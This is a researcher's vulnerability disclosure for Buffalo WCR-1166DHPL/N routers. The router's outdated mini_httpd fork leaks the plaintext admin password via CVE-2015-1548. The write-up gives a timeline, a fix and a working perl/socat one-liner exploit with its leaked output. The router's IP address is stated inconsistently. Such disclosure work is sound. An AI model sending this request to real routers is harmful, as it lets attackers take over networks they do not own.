An unauthenticated attacker can read the plain text administrator password from Buffalo WCR-1166DHPL/N WLAN routers by exploiting a known 11 year old unpatched vulnerability (CVE-2015-1548) in the router's mini_httpd HTTP server, exacerbated by Buffalo's own additions to mini_httpd.
Any attacker with access to the router's network can perform this low-complexity attack and take over, e.g., office or hotel networks. Demonstrating a lack of commitment to cybersecurity Buffalo took 277 days to disclose and fix this vulnerability. Buffalo's vulnerability response widely exceeded the industry standard 90 day period to coordinate and deliver patches after receiving vulnerability reports.
Timeline
- 2025-06-19: Reported to Buffalo using their vulnerability submission form1.
- 2025-07-28: Buffalo confirms that they're working on a fix.
- 2026-03-18: Buffalo informs me that they're coordinating with JPCERT/CC and IPA to release a vulnerability note on 2026-03-23.
- 2026-03-23: Buffalo publishes security advisory with patches for 39 devices in total, including the WCR-1166DHPL/N.
- 2026-03-27: JPCERT/CC and IPA publish JVN#83788689 バッファロー製Wi-Fiルータにおける複数の脆弱性 (English version) for the same 39 devices, including the WCR-1166DHPL/N., and mention my finding.
Vulnerable product

The WCR-1166DHPL/N WLAN router is a made-in-China WLAN router sold by Buffalo Inc., a Japanese company based in Tokyo. I've purchased the WLAN router in March 2025 on Amazon Japan where it has 620 ratings with an average score of 4.2.
The administration interface on http://192.16.11.1:80 shows the following firmware version:
WCR-1166DHPL Version 1.00
At the time of finding the vulnerability, no new firmware updates were listed on the vendor's product site.
The WLAN router firmware contains a reference to the following address used to retrieve the latest firmware version, empty at the time of finding the vulnerability:
http://p.buffalo.jp/download/driver/lan/autoup/wcr_1166dhpl_jp.txt
I've retrieved this address from a firmware dump when reversing engineering this WLAN router.
The WLAN router administration interface is based on mini_httpd, an open source HTTP server available under the 2-Clause BSD
License. The most current mini_httpd version at the time of finding this vulnerability is 1.30.
Vulnerability details
The WLAN router doesn't use the latest mini_httpd version 1.30 and instead uses a heavily vulnerable version 1.19. One of these vulnerabilities
is CVE-2015-1548, an out-of-bounds memory read vulnerability.
Buffalo extended the outdated mini_httpd HTTP server and made it handle the password authentication for the administration interface. Buffalo's version of mini_httpd stores the administration interface password in a memory region affected by CVE-2015-1548.
This means that anyone can read out the administration interface password as long as they can connect to your Wi-Fi.
The original vulnerability never affected administrator passwords and Buffalo's development practices are responsible for the vulnerability outlined here.
Exploit code

Someone graciously shared their exploit code for CVE-2015-1548 and it works for this vulnerability as well.
Assuming that the WLAN router administration interface is at http://192.168.1.1:80 here's how to use the exploit code:
# Need perl and socat to run
perl -e 'print "GET / " . "X"x65536 . "/Y" . "\r\n\r\n"' |
socat - TCP:192.168.11.1:80
Running this command gives back the following (abbreviated) contents, including the password, set to bolaffub in this example:
[...]XXX
[...]/cgi-bin/:::no_passin:bolaffub:inspectionEwPwwww4ADww[...]
[...]
Date: Sun, 31 Dec 2023 16:34:45 GMT
Content-Type: text/html
Content-Length: 249
Last-Modified: Thu, 01 Jan 1970 00:00:08 GMT
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta HTTP-EQUIV="refresh" CONTENT="0;URL=/cgi-bin/cgi?req=twz">
<!--
!product:WCR-1166DHPL
!version:1.00
!data:2024/07/22 09:24:33 JST
-->
</head>
<body>
</body>
</html>
With a little bit of firmware analysis and UART shell-foo, compare the contents of /tmp/etc/httpd.conf:
port=80
dir=/www/
user=root
cgipat=cgi-bin/*
nochroot
pidfile=/var/run/mini_httpd.pid
charset=utf-8
/images/:::no_pass
/js/:::no_pass
/html/inspection/:admin:bolaffub:inspection
/cgi-bin/:::no_pass
Here's a hex dump showing the parts of the response where the HTTP server leaks the password:
0000a0e0: c8a5 bc7f dca5 bc7f 08c0 4100 d0d0 4100 ..........A...A.
0000a0f0: 8c2e 4000 0000 0000 0000 0000 0000 0000 ..@.............
0000a100: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000a110: 0000 0000 2f63 6769 2d62 696e 2f3a 3a3a ..../cgi-bin/:::
0000a120: 6e6f 5f70 6173 7300 0069 6e3a 626f 6c61 no_pass..in:bola
0000a130: 6666 7562 3a69 6e73 7065 6374 696f 6e00 ffub:inspection.
0000a140: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Suggested fix
Buffalo based their fork of mini_httpd on a 22 year old version
of mini_httpd. The beginning of the mini_httpd README for version 1.19 shows
the following notice:
mini_httpd - small HTTP server
version 1.19 of 19dec2003
Applying mini_httpd version 1.23 at least partially remedies the vulnerability
because it contains a fix for CVE-2015-1548. Further, I recommend using
version 1.30 of mini_httpd or switching to a better maintained HTTP server
altogether.
Version 1.30 of mini_httpd is from 2018. It is entirely possible that
more vulnerabilities exist in mini_httpd. At the time of finding this vulnerability there hasn't been a new version in 7 years.
Using 22 year old2, vulnerable software comes with many risks and you should avoid using old, vulnerable software.